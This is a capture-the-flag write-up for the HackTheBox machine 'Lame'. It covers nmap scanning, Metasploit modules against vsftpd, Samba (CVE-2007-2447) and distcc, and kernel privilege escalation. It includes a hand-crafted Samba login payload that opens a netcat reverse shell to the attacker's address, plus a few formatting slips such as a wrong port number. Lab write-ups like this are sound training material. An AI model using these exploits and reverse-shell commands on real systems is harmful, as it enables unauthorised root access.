Lame Writeup

0x00 Before starting

Lame is fairly simple. This writeup is a bit long-winded because I want to:

  1. Explain the steps and the reasoning behind them.
  2. Try as many possible attack points as I can. Some services get several approaches, even if a few did not work, haha.
  3. Review what I learned and get a little better at it.

0x01 Reconnaissance

First, scan for open ports. Start by running the scripts across the full port range.

Create an nmap folder in the working directory for scan results. There may be several rounds of scanning during the assessment, so keep the results organized.

1. TCP Scan

Name the first TCP scan results tcp.* and put them under nmap/.

Scan all ports directly.

nmap -A -p- -oA nmap/tcp 10.10.10.3

-A == -sC -sV -O -traceroute

  • -sC: run the default scripts
  • -sV: detect service versions on open ports
  • -O: detect the operating system
  • -traceroute: trace the route
  • -p-: scan all ports from 1-65535
  • -oA: save output in every format as nmap/tcp.*

You can also find open ports quickly first, then scan the services. It makes little difference; see the comparison here.

See what the scan found.

  • 21: vsftpd 2.3.4, with anonymous login enabled
  • 22: openssh 4.7, allowing root password login; brute force is possible
  • 139: samba 3.x ~ 4.x, possibly a vulnerable version
  • 445: samba 3.0.20-Debian, possibly a vulnerable version
  • 3632: distccd v1, a distributed compiler daemon

2. UDP Scan

The second scan checks for open UDP ports. Name the results udp.* and put them under namp.

nmap -sU -p- -oA nmap/udp 10.10.10.3

Nothing found. No UDP ports are open.

Open ports: tcp 21,22,139,445,3632.

0x02 Exploitation

Work through the ports one by one.

0. Finding exploits

Look for exploitation methods for each service. With so many exploits available, knowing how to find the right match quickly matters. For each port, search for public exploits using the service name and its version. Places to look include:

  • www.google.com.hk
  • searchsploit {keyword}: use a term from the vulnerability description, such as privilege or samba.
  • The scanners included in kali
  • nmap script: ll /usr/share/nmap/scripts/ | grep {keyword}: use a CVE or a description keyword, such as cve or samba.
  • msf: search {keyword}: use a CVE or a description keyword, such as cve or samba.

Search Google first, then search within kali using the cve, service name, version, or description.

This tends to be more accurate. Search engines are better at matching what you mean and may turn up a ready-made method. Kali's search tools are less forgiving: the wrong keyword can miss an exploit even when it is already included.

You can also search broadly with searchexploit / nmap / msf and work through the results.

Read the descriptions and pick out detection scripts or usable exploits. Use what works. If nothing turns up, try Google: an exploit may be public without having reached Kali yet, in which case you need to use it manually.

Compare the results from Google, Searchsploit, and Nmap/MSF. Between them, you should find what you need.

1. Port 21

A Google search finds a public RCE for vsftpd v2.3.4, a backdoor written by a developer. Check whether nmap has a script under /usr/share/nmap/scripts/*.

ll /usr/share/nmap/scripts/ftp*

The nmap scan gives no detailed vulnerability output, suggesting this route cannot be used here.

nmap --script ftp-vsftpd-backdoor -p 21 10.10.10.3

Still not convinced, I look for an exploit in MSF and try it. The 6200 backdoor port does not open, and the exploit fails. Perhaps it has been patched, or perhaps my approach is wrong. Either way, I cannot get in here. Next.

search vsftp
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set rhosts 10.10.10.3
exploit

2. Port 22

Google finds no useful vulnerability. DoS is no help. Check the relevant nmap scripts.

ll /usr/share/nmap/scripts/ssh*

The scripts show that public-key and password login are allowed, so brute force is an option. MSF has no exploit either. Brute force is unreliable; leave it until we run out of other options.

nmap --script ftp-vsftpd-backdoor -p 21 10.10.10.3

3. Port 139, 445

Both ports run netbios-ssn through samba (supporting both NTB and TCP/IP). Searching Google for this version turns up a few candidates.

  • 3.0.x ~3.6.3: CVE-2012-1182
  • 3.5.0 ~ 4.4.14: cve-2017-7494 pipename
  • 3.2.20: cve-2007-2447，username_map_script RCE

Start MSF and search for 1182. This exploit supports check. Set the options and check each target; all report that the target is not exploitable.

search 1182
use exploit/linux/samba/setinfopolicy_heap
set rhosts 10.10.10.3
set lhost 10.10.14.20
set target x
check

Try the next one.

search 7494

A samba result turns up.

Use info to read the exploit's description and options.

info exploit/linux/samba/is_known_pipename

It needs valid credentials and a known writable path. Those requirements make it unusable for now.

#### A further note
nmap has detection scripts for both Samba vulnerabilities above, so it can also check whether they are present. Use whichever you prefer. I tend to go straight in with msf.
``` java

nmap --script samba-vuln-cve-2012-1182.nse -p 139,445 10.10.10.3

> 
> ![](./htb-htb-linux-lame-writeup/15.png)

Try the next one.

search 2447

A `samba` result turns up.

![](./htb-htb-linux-lame-writeup/9.png)
`info` is useful. Make a habit of reading it.

info exploit/multi/samba/usermap_script

The description says this exploit targets an RCE in Samba versions `3.0.20 ~ 3.0.25rc3`, with no other apparent requirements.
The earlier scan identified `3.0.20`, which fits.

![](./htb-htb-linux-lame-writeup/10.png)
#### Method one: get a shell with msf
Set the options and run `exploit`. A couple of details need attention.
- rport defaults to 139, but the scan gave only the broad version range `3.x ~ 4.x` on that port. I choose port 445 first because its reported version is known to be vulnerable.
- I suspect lhost defaults to the IP closest to the target. That is only my guess; I have not checked how it is chosen. Here it picks `10.10.10.133`, which is not my VPN address. I had previously configured a local address in `10.10.10.x`, so I change it to the VPN address, `10.10.14.11`. Usually the default is already the VPN address and needs no change.

use exploit/multi/samba/usermap_script set rhosts 10.10.10.3 set rport 445 set lhost 10.10.14.11 exploit

After execution, the reverse shell arrives: `Command shell session 1 opened (10.10.14.11:4444 -> 10.10.10.3:60557) at 2020-11-08 02:28:38 +0800`. The session is open.
Run `hostname` and `id` to confirm that we have `root` on the target.

hostname id

![](./htb-htb-linux-lame-writeup/11.png)

#### Method two: get a shell by hand, with a few more keystrokes
msf automates the exploitation process in a script. What would the manual version look like? First, read how the vulnerability works.
> **Samba's code for updating user passwords in the SAM database passes user input to /bin/sh without filtering it. When an external script defined in smb.conf is called, malicious input submitted to /bin/sh through MS-RPC may allow arbitrary command execution as nobody, the anonymous user. [CVE-2007-2447](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2447)**

That gives us three conditions:
- An account that can log in
- A shared directory the account can access
- Malicious input submitted during login to execute a command

First list the target's shares with `smbclient`, then check permissions with `smbmap`.

smbclient -L 10.10.10.3 smbmap -H 10.10.10.3

The first two conditions are met:
- Anonymous login is allowed.
- Anonymous users can read and write the /tmp share.

![](./htb-htb-linux-lame-writeup/17.png)

Now submit a `payload` during login. The input goes in `username`, constructed as follows:

"/=nohup " + payload.encoded + ""

**Run the exploit**: start a local listener on `4444`, then pass a reverse shell command through the login. Its execution gives us a shell.

nc -lvvp 4444 # 本地起监听 4444 smbclient //10.10.10.3/tmp # 匿名登录、连接共享目录 logon "/=nohup nc -nv 10.10.14.20 4444 -e /bin/sh" # 登录传入 payload

![](./htb-htb-linux-lame-writeup/18.png)
![](./htb-htb-linux-lame-writeup/16.png)

#### Method three: mount the root directory to get the flag
The idea is to mount the target's root directory inside a share, then access its files through smb.

use auxiliary/admin/smb/samba_symlink_traversal set rhosts 10.10.10.3 set smbshare tmp exploit

The target's root directory is now mounted at `/tmp/rootfs` in the share. Connect and browse the files.

smbclient //10.10.10.3/tmp # 匿名登录、连接共享目录 ls rootfs/home/makis/user.txt # 找到 flag get rootfs/home/makis/user.txt # 下载到本地查看，获取 flag

> *If smbclient reports `protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED`:*
> *Try adding --option='client min protocol=NT1. I fixed it by adding these two configuration lines instead:*
> ``` ini
> vi /etc/samba/smb.conf
> [global]
> client min protocol = CORE
> client max protocol = SMB3
> ```

![](./htb-htb-linux-lame-writeup/19.png)
> #### TODO: I have not obtained root through this method. Leaving it on the list.
> - Anonymous login has ordinary-user permissions and cannot access `root/*`, so root.txt is unreadable.
> - Local mount attempts with `mount -t nfs 10.10.10.3:/tmp /tmp/rootme` and `smbmount //10.10.10.3/tmp  /tmp/rootme -o rhh` did not work. I probably used them incorrectly. [mount](https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/) [smbmount](https://blog.csdn.net/eager7/article/details/8365458)
> - Uploading or writing a public key did not work either. Again, I suspect my method was wrong. [Commands used](https://blog.csdn.net/punk_lover/article/details/40040967)
> 
> I suspect no separate privilege escalation is needed and writing an SSH public key is the way in. This is getting annoying. I will come back to it when I have time.

### 4. Port 3626
Search first, as usual. nmap has a script that can scan for the vulnerability and accepts arguments to execute commands.

![](./htb-htb-linux-lame-writeup/21.png)
msf has an exploit that can get a shell directly.

![](./htb-htb-linux-lame-writeup/22.png)
The catch is that this shell belongs to the ordinary user `daemon`, so we need to escalate privileges. The kernel version is `2.6.24-16-server`.

![](./htb-htb-linux-lame-writeup/23.png)

Search for an exploit matching the kernel. Start with `searchsploit Linux Kernel 2.6`.
I will spare you the screenshot. There are far too many results. Try something else.

#### Method one
We already have a shell. Use an exploit suggester to identify candidates. The exploits it finds must support `check`; otherwise it cannot scan and confirm whether they apply.

First leave the session in the background and upgrade the shell to meterpreter, msf's more capable shell.

background session -u {sessionId}

![](./htb-htb-linux-lame-writeup/24.png)
Load the suggester, set its options, and run it. It checks the target through the session and returns a list of applicable vulnerabilities. The results are not completely reliable, so verify them manually.

use post/multi/recon/local_exploit_suggester # 使用建议器械 session -u 4 # 设置刚刚升级的 sessionId exploit

![](./htb-htb-linux-lame-writeup/25.png)
It suggests five usable exploits. Try the first.

use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc set lhost 10.10.14.20 set lport 4445 set session 3 exploit

Set the options and run it. A root session opens, and root.txt is readable. We have the flag.
> *If a session fails to open with Reason: Die, try updating msf to the latest version.*

![](./htb-htb-linux-lame-writeup/26.png)

#### Method two (TODO)
Try [CVE-2009-1185](https://www.exploit-db.com/exploits/8572).
The process: run `searchexploit -m 8572.c`, transfer the file to the target, compile it with `gcc 8572.c -o 8572`, and get the netlink PID with `cat /proc/net/netlink`. The privilege escalation runs `/tmp/run` as root. Create your own reverse shell script at /tmp/run so it connects back to Kali with a `root-shell`.

Alternatively, use the built-in exploit: exploit/linux/local/udev_netlink. Its usage is the same as above.

Neither method worked. The final run step never executed. Other writeups online use the same procedure. I do not want to blame the environment, but I suspect HTB may have patched this vulnerability.
I will investigate when I have time.

## 0x03 Attack path
#### Port scan -> 445.samba(cve-2007-2447 username logon RCE)(root)
#### Port scan -> 3632.distcc(cve-2004-2687)(daemon) -> udev privilege escalation(manual attempt unsuccessful)

## 0x04 Lessons learned
#### 1. Scan every port over both protocols. This is basic practice.
#### 2. Use the information already collected, such as the kernel and OS versions, to narrow the exploit search.